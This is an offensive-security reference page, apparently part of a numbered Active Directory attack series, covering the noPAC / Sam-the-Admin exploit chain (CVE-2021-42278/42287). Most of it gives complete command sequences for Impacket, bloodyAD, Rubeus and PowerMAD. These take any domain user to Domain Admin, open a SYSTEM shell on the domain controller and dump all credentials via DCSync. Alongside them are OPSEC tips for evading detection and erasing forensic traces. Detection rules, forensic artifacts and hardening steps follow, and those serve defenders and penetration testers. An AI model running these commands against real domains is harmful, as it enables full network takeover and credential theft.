AD ^: Active Directory

Attack #44 — noPAC Sam-the-Admin (CVE-2021-42278 42287)

noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:

advanced updated 2026-08-10 NetExec · Impacket · Mimikatz · Rubeus

🔵 Attack #44 — noPAC / Sam-the-Admin (CVE-2021-42278/42287)


📖 How It Works

noPAC (Sam-the-Admin) chains two CVEs to escalate from any domain user to Domain Admin:

  1. CVE-2021-42278 — Allows a machine account’s sAMAccountName to not end with $, mimicking user accounts
  2. CVE-2021-42287 — KDC fails to verify PAC when a TGT is requested after renaming an account

The attacker creates a machine account, renames it to match a DC’s sAMAccountName (without $), requests a TGT, renames it back, then requests a service ticket — the KDC confuses the identity and issues a ticket with DC-level privileges.

[!info]+ Technical Deep-Dive — sAMAccountName Confusion & PAC Bypass ris:FileList

  1. Step 1 — Machine Account Creation: Any domain user can create machine accounts (up to ms-DS-MachineAccountQuota, default = 10). The attacker creates a machine account NOPAC$
  2. Step 2 — sAMAccountName Rename (CVE-2021-42278): The attacker renames NOPAC$ to DC01 (removing the $ suffix). Normally, machine account sAMAccountNames MUST end with $ — this CVE bypasses that validation
  3. Step 3 — TGT Request: The attacker requests a TGT as DC01 using the machine account’s known password. The KDC issues a TGT for DC01 — the account currently named DC01
  4. Step 4 — Rename Back: The attacker renames the account back to NOPAC$ (restoring the $)
  5. Step 5 — S4U2Self (CVE-2021-42287): The attacker uses the TGT (issued for DC01) to request a service ticket via S4U2Self, impersonating Administrator. The KDC looks up DC01 — the renamed account is now NOPAC$, so it doesn’t match. The KDC then searches for DC01$ (appending $) and finds the real Domain Controller
  6. Result: The KDC issues a service ticket as if the request came from the real DC01$ machine account — with full DC privileges, including the ability to DCSync
  7. The core issue is that the KDC doesn’t properly validate the PAC (Privilege Attribute Certificate) when the account name doesn’t match — it falls back to appending $ and finding a different account entirely

⚙️ Prerequisites

RequirementDetail
Any domain user credentialsTo create a machine account (needs MAQ > 0)
MachineAccountQuota > 0Default = 10; allows any domain user to create machine accounts
Unpatched DCsPatched November 2021 (KB5008102 / KB5008380)
Network access to DCStandard Kerberos (TCP 88) and LDAP (TCP 389/636) ports

🛠️ Tools

ToolPlatformVersionNotes
noPac.pyLinux/PythonPython 3Automated exploit — scan + exploit in one command
sam-the-adminLinux/PythonPython 3Alternative automated exploit script
ImpacketLinux≥ 0.10.0addcomputer.py, renameMachine.py, getTGT.py, getST.py — manual exploitation
bloodyADLinux/Python≥ 1.0.0Machine account creation and sAMAccountName modification
NetExecLinux≥ 1.1.0-M nopac module — scan for vulnerability
RubeusWindows (.NET)≥ 2.0asktgt + s4u for Windows-based manual exploitation
PowerMADWindows/PowerShellLatestNew-MachineAccount — PowerShell machine account creation

⏱️ Time-to-Execute Estimates

OperationTimeNotes
Vulnerability scan3–5 secondsnoPac.py -scan mode
Automated exploitation10–30 secondsFull chain: create → rename → TGT → rename → S4U → shell
Manual exploitation (6 steps)60–120 secondsEach Impacket command takes a few seconds
Full chain → DCSync30–60 secondsFrom any domain user to full credential dump

💻 Full Commands

🔵 Check Vulnerability

# ── noPac.py scan mode ────────────────────────────────────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -dc-host DC01 --scan
# Output: "Current ms-DS-MachineAccountQuota = 10"
# Output: "DC01 is VULNERABLE" or "DC01 is NOT VULNERABLE"

# ── NetExec noPAC module ──────────────────────────────────────────────────────
nxc smb DC01.corp.local -u low_user -p 'Password1' -M nopac
# Output: [+] VULNERABLE or [-] not vulnerable

# ── Check MAQ manually ────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Or:
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  get object 'DC=corp,DC=local' --attr ms-DS-MachineAccountQuota
# ── noPac.py — fully automated → SYSTEM shell on DC ──────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -dc-host DC01 -shell --impersonate Administrator -use-ldap

# Output: Interactive SYSTEM shell on DC01
# From here: secretsdump.py, mimikatz, or any post-exploitation

# ── noPac.py — get service ticket only (no shell) ────────────────────────────
python3 noPac.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -dc-host DC01 --impersonate Administrator -use-ldap -dump
# Dumps NTDS via DCSync using the impersonated Administrator ticket

# ── sam-the-admin (alternative) ───────────────────────────────────────────────
python3 sam_the_admin.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -dc-host DC01 -shell

🔴 Manual Exploitation (Step-by-Step)

# ── Step 1: Create machine account ────────────────────────────────────────────
addcomputer.py -computer-name 'NOPAC$' -computer-pass 'FakePass!' \
  -dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# Creates NOPAC$ with password FakePass!

# ── Step 2: Rename sAMAccountName to DC01 (remove the $) ─────────────────────
python3 renameMachine.py -current-name 'NOPAC$' -new-name 'DC01' \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# Now the machine account's sAMAccountName = "DC01" (without $)

# ── Step 3: Request TGT as "DC01" ────────────────────────────────────────────
getTGT.py corp.local/'DC01':'FakePass!' -dc-ip 10.10.10.10
# Outputs: DC01.ccache — TGT for the account named "DC01"

# ── Step 4: Rename back to NOPAC$ ────────────────────────────────────────────
python3 renameMachine.py -current-name 'DC01' -new-name 'NOPAC$' \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# sAMAccountName restored to NOPAC$ — KDC will now look for "DC01$" (the real DC)

# ── Step 5: Request service ticket (S4U2Self) using TGT ──────────────────────
export KRB5CCNAME=DC01.ccache
getST.py -spn cifs/DC01.corp.local -impersonate Administrator \
  -k -no-pass corp.local/'DC01' -dc-ip 10.10.10.10
# KDC confusion: looks up "DC01", finds nothing, appends "$", finds real DC01$
# Issues service ticket as Administrator for cifs/DC01.corp.local

# ── Step 6: Use the impersonated Administrator ticket ─────────────────────────
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Full DCSync as Administrator — extracts all domain credentials

psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
# Interactive SYSTEM shell on DC01

bloodyAD Alternative (Machine Account Creation)

# ── Create machine account with bloodyAD ──────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  add computer 'NOPAC$' 'FakePass!'

# ── Modify sAMAccountName ────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  set object 'NOPAC$' sAMAccountName -v 'DC01'

Windows-Based (Rubeus + PowerMAD)

# ── Create machine account with PowerMAD ──────────────────────────────────────
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount NOPAC -Password $(ConvertTo-SecureString 'FakePass!' -AsPlainText -Force)

# ── Rename (requires AD module or direct LDAP modification) ──────────────────
Set-ADComputer NOPAC -SamAccountName 'DC01'

# ── Request TGT with Rubeus ──────────────────────────────────────────────────
.\Rubeus.exe asktgt /user:DC01 /password:FakePass! /domain:corp.local /dc:DC01.corp.local /nowrap

# ── Rename back ───────────────────────────────────────────────────────────────
Set-ADComputer NOPAC -SamAccountName 'NOPAC$'

# ── S4U with Rubeus ──────────────────────────────────────────────────────────
.\Rubeus.exe s4u /ticket:<base64_TGT> /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt
# Ticket injected into current session — access DC01 as Administrator

🔴 Post-Exploitation Cleanup

# ── Delete the machine account after exploitation ─────────────────────────────
addcomputer.py -computer-name 'NOPAC$' -dc-ip 10.10.10.10 \
  corp.local/Administrator:'Password1' -delete

# ── Or via bloodyAD ──────────────────────────────────────────────────────────
bloodyAD -d corp.local -u Administrator -p 'Password1' --host DC01.corp.local \
  remove computer 'NOPAC$'

🎯 OPSEC Tips

  1. noPac.py automated mode is fast but creates a machine account — this is logged (Event 4741) and persists in AD unless cleaned up
  2. Always delete the machine account after exploitation — leftover accounts with non-standard names are forensic artifacts
  3. The sAMAccountName rename is the most detectable step — Event 4742 logs the attribute change; this is unusual for machine accounts
  4. Use -use-ldap flag with noPac.py — some environments have issues with the default SAMR protocol for machine account operations
  5. Manual exploitation is stealthier than automated — you control the timing between each step and can add delays
  6. Check MAQ before starting — if MachineAccountQuota = 0, you can’t create machine accounts; look for existing machine accounts you can modify instead
  7. Clean up ccache files after exploitation — DC01.ccache and the impersonated ticket are evidence

📊 OpSec Ranking

MethodStealthSpeedReliabilityNotes
noPac.py automated🟡 Medium🟢 Fast🟢 HighFast but creates machine account + renames
Manual Impacket steps🟡 Medium🟡 Medium🟢 HighMore control; can add delays between steps
Rubeus + PowerMAD (Windows)🟡 Medium🟡 Medium🟡 MediumPowerShell logging catches module loads
bloodyAD + Impacket🟡 Medium🟡 Medium🟢 HighGood alternative; fewer dependencies

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4741Security Log (DC)Machine account creation — NOPAC$ or unusual naming pattern
4742Security Log (DC)Machine account renamed — sAMAccountName changed (critical indicator)
4768Security Log (DC)TGT request for account matching DC name (e.g., DC01 without $)
4769Security Log (DC)Service ticket request (S4U2Self) using the confused identity
4743Security Log (DC)Machine account deleted (cleanup by attacker)

🔎 Sigma Rules

# ── SigmaHQ — Machine Account sAMAccountName Change (noPAC Indicator) ────────
title: Machine Account sAMAccountName Modification (noPAC/CVE-2021-42278)
id: c7d8e9f0-nopac-samaccountname-change
status: stable
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4742
  keywords:
    AttributeValue|contains: 'sAMAccountName'
  condition: selection
level: critical
tags:
  - attack.privilege_escalation
  - attack.t1068
  - cve.2021.42278
  - cve.2021.42287
# ── SigmaHQ — TGT Request for DC Name Without $ Suffix ───────────────────────
title: TGT Request for Account Matching DC Name (noPAC Indicator)
id: a1b2c3d4-nopac-tgt-dc-name
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    TargetUserName|endswith: ''  # Does NOT end with $
  filter_dc:
    TargetUserName|endswith: '$'
  filter_users:
    TargetUserName|re: '^(?!DC|dc)'  # Only alert on names matching DC naming patterns
  condition: selection and not filter_dc
level: high

🛡️ EDR-Specific Detections

[!warning]+ Microsoft Defender for Identity (MDI) ris:Windows

  1. “Suspected noPac exploitation (CVE-2021-42278/42287)” — specific detection for the sAMAccountName rename + TGT request pattern
  2. MDI correlates machine account creation → rename → TGT request → rename-back as a single attack sequence
  3. “Suspicious machine account name change” — fires on any machine account sAMAccountName modification that removes the $ suffix
  4. MDI added noPAC detection within weeks of the CVE disclosure — high-confidence alerting

[!warning]+ CrowdStrike Falcon ris:Radar

  1. “noPAC/Sam-the-Admin Exploitation” — behavioral detection for the machine account creation → rename → Kerberos abuse chain
  2. Falcon detects automated exploitation tools (noPac.py, sam-the-admin) via process and network behavioral analysis
  3. Also detects the Kerberos ticket manipulation (S4U2Self with confused identity)

[!warning]+ Elastic Security ris:FileList

  1. Rule: “Machine Account sAMAccountName Changed” — Event 4742 correlation for sAMAccountName attribute modifications
  2. Rule: “TGT Requested for Account Matching Domain Controller Name” — Event 4768 correlation
  3. Rule: “Rapid Machine Account Create-Rename-Delete Pattern” — temporal correlation of Events 4741→4742→4743

🔬 Forensic Artifacts

ArtifactLocationDetails
Machine account creationEvent 4741New computer account NOPAC$ with creation timestamp
sAMAccountName changeEvent 4742Machine account renamed — old value (NOPAC$) → new value (DC01)
TGT requestEvent 4768TGT for DC01 (without $) — matches a DC naming pattern
S4U2Self ticketEvent 4769Service ticket request impersonating Administrator
Machine account deletionEvent 4743Account deleted (cleanup — if attacker was thorough)
ccache filesAttacker filesystemDC01.ccache and Administrator@cifs_*.ccache — evidence of exploitation
AD attribute metadatamsDS-ReplAttributeMetaData on the machine accountsAMAccountName modification timestamps and originating DC
Kerberos ticket cacheDC LSASS memoryTGT and service tickets issued during the attack — volatile

[!important]+ Windows Server Version & Patch Timeline ris:Windows

  1. November 2021 (KB5008102/KB5008380): Initial patch released — fixes both CVE-2021-42278 and CVE-2021-42287
  2. April 2022: Enforcement phase — KDC rejects tickets without proper PAC validation
  3. July 2022: Full enforcement — PAC validation required; non-patched clients may experience authentication failures
  4. Server 2012 R2: Vulnerable if unpatched; enforcement timeline applies
  5. Server 2016: Vulnerable if unpatched; same timeline
  6. Server 2019: Vulnerable if unpatched; same timeline
  7. Server 2022: Vulnerable if unpatched (even though it was released before the CVE); patches available
  8. Server 2025: Shipped with fixes included — NOT vulnerable; PAC validation enforced by default
  9. The enforcement phase is critical — even after patching, there’s a grace period before the KDC rejects vulnerable tickets; check PacRequestorEnforcement registry key

🔒 Hardening & Prevention

# ── 1. Set MachineAccountQuota to 0 (prevent machine account creation) ────────
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}
# Blocks any domain user from creating machine accounts
# ⚠️ May break self-service domain join — use targeted delegation instead

# ── 2. Apply November 2021 patches ───────────────────────────────────────────
# Verify patches:
Get-HotFix | Where-Object { $_.HotFixID -match 'KB5008102|KB5008380|KB5008212' }
# If empty → DC is vulnerable

# ── 3. Enable PAC validation enforcement ──────────────────────────────────────
# Registry key (post-patch):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" `
  -Name "PacRequestorEnforcement" -Value 2 -Type DWord
# Value 0 = Disabled (not recommended)
# Value 1 = Add PAC validation but don't enforce (default after Nov 2021 patch)
# Value 2 = Full enforcement (recommended — rejects tickets without PAC)

# ── 4. Monitor machine account creation and modification ──────────────────────
# GPO → Computer Configuration → Windows Settings → Security Settings →
# Advanced Audit Policy → Account Management →
#   ✅ Audit Computer Account Management: Success, Failure

# ── 5. Alert on sAMAccountName changes for machine accounts ──────────────────
# SIEM query (Splunk example):
# source=WinEventLog:Security EventCode=4742 TargetUserName=*$
#   | search "sAMAccountName" | table _time, TargetUserName, SubjectUserName

# ── 6. Restrict who can create machine accounts ──────────────────────────────
# If MAQ must be > 0, delegate machine account creation to specific OUs:
# Use fine-grained permissions instead of domain-wide MAQ

# ── 7. Monitor for DC-name TGT requests from non-DC accounts ─────────────────
# Alert on Event 4768 where TargetUserName matches a DC name but lacks $
# This is the definitive noPAC exploitation indicator

# ── 8. Deploy MDI for automated detection ─────────────────────────────────────
# MDI has specific noPAC detection since December 2021

🧩 Troubleshooting

ErrorCauseFix
Machine account creation failed — quota exceededMachineAccountQuota = 0 or user already created max accountsCheck MAQ value; if 0, cannot exploit via this path — look for existing machine accounts to modify
renameMachine.py: Access deniedInsufficient permissions to modify the machine accountVerify the user who created the account owns it; use the same user for rename; or try bloodyAD
getTGT: KDC_ERR_C_PRINCIPAL_UNKNOWNsAMAccountName rename didn’t take effect yetWait a few seconds for AD replication; verify rename with Get-ADComputer NOPAC -Properties sAMAccountName
getST: KRB_AP_ERR_SKEWClock skew > 5 minutesSync time: ntpdate DC01.corp.local
getST: KDC_ERR_BADOPTIONS4U2Self failed — DC may be patchedVerify DC patch status; if PacRequestorEnforcement = 2, the exploit is blocked
noPac.py -shell hangsNetwork connectivity issue or SMB blockedTry -dump instead of -shell; or use the manual approach with getST.py + secretsdump.py
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNTUsing machine account TGT incorrectlyEnsure you’re using the TGT from Step 3 (before rename-back) for the S4U request
Manual exploit: wrong ticket in Step 6Using TGT instead of S4U service ticketAfter Step 5, export KRB5CCNAME=Administrator@cifs_DC01... (the S4U output), NOT the original TGT

🗺️ MITRE ATT&CK

TacticTechnique IDSub-techniqueProcedureAPT Groups
Privilege EscalationT1068Exploitation for Privilege EscalationExploit CVE-2021-42278/42287 to escalate from any domain user to DA via sAMAccountName confusionRansomware operators (Conti, LockBit)
Credential AccessT1558Steal or Forge Kerberos TicketsAbuse S4U2Self with confused identity to obtain Administrator service ticketChained technique
PersistenceT1136.002 — Domain AccountCreate machine account as part of the exploitation chainSupporting technique

[!tip]+ Real-World Context fas:Lightbulb

  1. noPAC was weaponized within days of disclosure (December 2021) — automated exploit tools appeared on GitHub almost immediately
  2. Conti ransomware group incorporated noPAC into their automated domain compromise playbook as a fast-path escalation from any domain user to DA
  3. LockBit affiliates used noPAC in early 2022 campaigns against healthcare and manufacturing targets
  4. noPAC is considered one of the most impactful AD privilege escalation vulnerabilities because it requires only any domain user account — no special permissions, no ACL abuse, just standard domain authentication

🔗 Attack Chain Context

[noPAC] ──→ Low-priv User → DA via Machine Account Naming Confusion

         ├──→ 💥 CVE-2021-42278 + CVE-2021-42287
         ├──→ 💻 Any domain user → SYSTEM shell on DC → DCSync (Attack #37)
         ├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11)
         ├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4)
         ├──→ 🔗 Alternative to: Kerberoasting (Attack #2) → cracking → DA
         ├──→ 🔗 Compare: Zerologon (Attack #40) — unauth; noPAC needs any domain user
         ├──→ 📋 Patched Nov 2021, but legacy DCs may remain vulnerable
         └──→ 💀 Defeated by: patch, set MAQ=0, enforce PacRequestorEnforcement=2, monitor account renames

Attack #44 — noPAC complete.


🏁 Category 5 — DC & Replication Attacks is now COMPLETE (8/8 attacks).